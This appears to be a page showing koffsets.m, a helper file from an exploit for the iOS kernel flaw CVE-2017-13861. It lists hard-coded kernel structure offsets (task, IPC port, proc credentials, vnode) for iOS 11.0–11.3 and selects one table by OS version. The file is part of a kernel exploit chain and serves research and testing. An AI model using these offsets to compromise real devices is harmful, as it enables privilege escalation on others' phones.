Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/koffsets.m
Views: 11780
#import <Foundation/Foundation.h>12#include <stdio.h>3#include <stdlib.h>4#include <string.h>5#include <sys/sysctl.h>6#include <sys/utsname.h>78#include "koffsets.h"9#include "common.h"1011#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)1213int* offsets = NULL;1415int kstruct_offsets_11_0[] = {160xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,170x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,180x14, // KSTRUCT_OFFSET_TASK_ACTIVE,190x20, // KSTRUCT_OFFSET_TASK_VM_MAP,200x28, // KSTRUCT_OFFSET_TASK_NEXT,210x30, // KSTRUCT_OFFSET_TASK_PREV,220x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE230x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,240x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR250x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE260x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS27280x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,290x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,300x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,310x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,320x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,330x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,340x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,350x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,360xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,37380x10, // KSTRUCT_OFFSET_PROC_PID,390x108, // KSTRUCT_OFFSET_PROC_P_FD400x18, // KSTRUCT_OFFSET_PROC_TASK410x100, // KSTRUCT_OFFSET_PROC_UCRED420x8, // KSTRUCT_OFFSET_PROC_P_LIST43440x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES45460x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB47480x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA49500x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB51520x10, // KSTRUCT_OFFSET_PIPE_BUFFER53540x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE550x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE56570xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT580x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO590x0, // KSTRUCT_OFFSET_VNODE_V_LOCK60610x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS62630x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG64650x10, // KSTRUCT_OFFSET_HOST_SPECIAL66670x6c, // KFREE_ADDR_OFFSET68};6970int kstruct_offsets_11_3[] = {710xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,720x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,730x14, // KSTRUCT_OFFSET_TASK_ACTIVE,740x20, // KSTRUCT_OFFSET_TASK_VM_MAP,750x28, // KSTRUCT_OFFSET_TASK_NEXT,760x30, // KSTRUCT_OFFSET_TASK_PREV,770x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE780x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,790x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR800x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE810x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS82830x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,840x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,850x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,860x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,870x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,880x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,890x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,900x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,910xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,92930x10, // KSTRUCT_OFFSET_PROC_PID,940x108, // KSTRUCT_OFFSET_PROC_P_FD950x18, // KSTRUCT_OFFSET_PROC_TASK960x100, // KSTRUCT_OFFSET_PROC_UCRED970x8, // KSTRUCT_OFFSET_PROC_P_LIST98990x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES1001010x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB1021030x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA1041050x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB1061070x10, // KSTRUCT_OFFSET_PIPE_BUFFER1081090x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE1100x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE1111120xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT1130x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO1140x0, // KSTRUCT_OFFSET_VNODE_V_LOCK1151160x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS1171180x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG1191200x10, // KSTRUCT_OFFSET_HOST_SPECIAL1211220x7c, // KFREE_ADDR_OFFSET123};124125int koffset(enum kstruct_offset offset)126{127if (offsets == NULL) {128LOG("need to call offsets_init() prior to querying offsets");129return 0;130}131return offsets[offset];132}133134void offsets_init()135{136if (kCFCoreFoundationVersionNumber >= 1452.23) {137LOG("offsets selected for iOS 11.3 or above");138offsets = kstruct_offsets_11_3;139} else if (kCFCoreFoundationVersionNumber >= 1443.00) {140LOG("offsets selected for iOS 11.0 to 11.2.6");141offsets = kstruct_offsets_11_0;142} else {143LOG("iOS version too low, 11.0 required");144exit(EXIT_FAILURE);145}146}147148149